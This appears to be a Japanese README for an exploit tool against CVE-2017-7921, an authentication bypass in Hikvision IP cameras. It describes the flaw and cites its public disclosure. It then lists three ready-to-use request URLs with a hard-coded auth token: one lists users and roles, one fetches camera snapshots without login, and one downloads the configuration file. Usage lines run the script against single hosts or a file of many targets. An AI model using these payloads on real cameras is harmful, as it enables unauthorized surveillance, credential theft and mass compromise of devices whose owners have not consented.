CVE-2017-7921 エクスプロイト

Hikvision デバイスに、不適切な認証の問題が見つかりました。

​ 不適切な認証の脆弱性は、アプリケーションがユーザーを適切に、または正しく認証しない場合に発生します。

​ これにより、悪意のあるユーザーがシステム上で権限を昇格させ、機密情報にアクセスできる可能性があります。

       # inj3ction

​ https://seclists.org/fulldisclosure/2017/Sep/23

​ 脆弱性の詳細:

​ ----------------------

​ すべてのユーザーとその役割のリストを取得する:

​ http://camera.ip/Security/users?auth=YWRtaW46MTEK

​ 認証なしでカメラのスナップショットを取得する:

​ http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK

​ そして最も悪いことに、カメラの設定をダウンロードできる:

​ http://camera.ip/System/configurationFile?auth=YWRtaW46MTEK

依存関係のインストール

python3 -m pip install -r requirements.txt

使用方法

python3 CVE_2017_7921_EXP.py -t xxx.xx.xx.xx run
python3 CVE_2017_7921_EXP.py -t ./targets.txt run

スクリーンショット